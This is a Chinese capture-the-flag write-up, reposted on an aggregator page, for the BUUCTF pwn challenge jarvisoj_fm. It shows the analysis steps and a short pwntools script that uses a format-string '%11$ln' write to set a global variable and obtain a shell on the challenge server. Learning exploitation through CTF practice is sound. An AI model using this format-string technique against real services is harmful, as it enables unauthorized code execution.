当前位置: 首页 > news >正文

buuctf中的jarvisoj_fm

首先checksec检查保护机制:

-32位程序

-开启了栈溢出保护和栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现没有后门函数,不过有printf函数,可触发格式化字符串漏洞,再看下面,只要让x的值等于4,即可拿到shell,那么方向就很明显了,使用格式化字符串漏洞实现任意地址写,将x的值改写为4

接下来先找到第一个参数的偏移,方便利用格式化字符串漏洞,在pwndbg中动态调试,先对程序输入一下代码:

AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

得到:

发现0x41414141这个参数在第11位,0x41414141以ASCII码转化为字符即为AAAA,也就是我们输入的AAAA在第11位处,即偏移为11

再在IDA中拿到x的地址:0x0804A02C

然后就是脚本的编写了:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',25207) # 与在线环境交互。 offset = 11 aim_addr = 0x0804A02C payload = p32(aim_addr) + b'%11$ln' io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后输入cat flag即可拿到flag

http://www.cnnetsun.cn/news/188975.html

相关文章:

  • 如何快速获取中国行政区划数据:从新手到专家的完整指南
  • 鸣潮自动化神器:3分钟教会你解放双手的智能游戏助手
  • RMT驱动在ESP-IDF中的高级应用技巧
  • 胎牛血清常见问题解答
  • WorkshopDL:解锁Steam创意工坊的跨平台下载神器
  • 【毕业设计】基于springboot的老人健康信息管理系统的设计与实现老人信息、护理服务、健康监测、员工管理、家属沟通(源码+文档+远程调试,全bao定制等)
  • 【课程设计/毕业设计】基于springboot的老人健康信息管理系统的设计与实现用户数据、健康内容、交互记录【附源码、数据库、万字文档】
  • Thorium浏览器:极致性能与隐私保护的终极选择
  • HashCalculator终极指南:3分钟掌握文件指纹批量管理技巧
  • WorkshopDL完全指南:轻松下载Steam创意工坊模组
  • 信号回流路径设计原理:快速理解PCB布局
  • VRM模型转换实践指南:从基础构建到高级动画制作
  • 3步搞定MusicBee歌词插件:网易云音乐歌词同步终极指南
  • 手机号转QQ号终极指南:3步完成免费快速查询
  • 星图云开发者平台功能详解 | 业务逻辑编辑器:一拖一连,5分钟搞定复杂开发
  • Android存储限制突破指南:NoStorageRestrict模块深度解析
  • Thorium浏览器:重新定义Chromium性能边界的终极解决方案
  • 绝区零智能助手:全自动任务执行解决方案
  • 终极指南:如何在Android 11+系统中优化存储访问体验?
  • 3步搞定MusicBee网易云歌词插件:让音乐播放更完美
  • HashCalculator终极指南:3步掌握文件哈希值批量计算与校验
  • Minecraft终极光影指南:简单几步让方块世界焕然一新
  • 单机游戏分屏革命:Nucleus Co-Op让一台电脑变多人游戏厅
  • 自动驾驶硬件方案成本控制:从零开始的智能驾驶构建指南
  • 重返未来:1999终极自动化助手:彻底告别重复操作的游戏神器
  • 5分钟精通Chrome全页截图:Full Page Screen Capture终极使用指南
  • Nintendo Switch存储管理完全指南:从基础备份到高级分区优化
  • Full Page Screen Capture:彻底告别网页截图拼接时代
  • ThinkPad散热革命:TPFanCtrl2双风扇智能控制终极指南
  • 手把手教程:Ollydbg下载及安装从零开始配置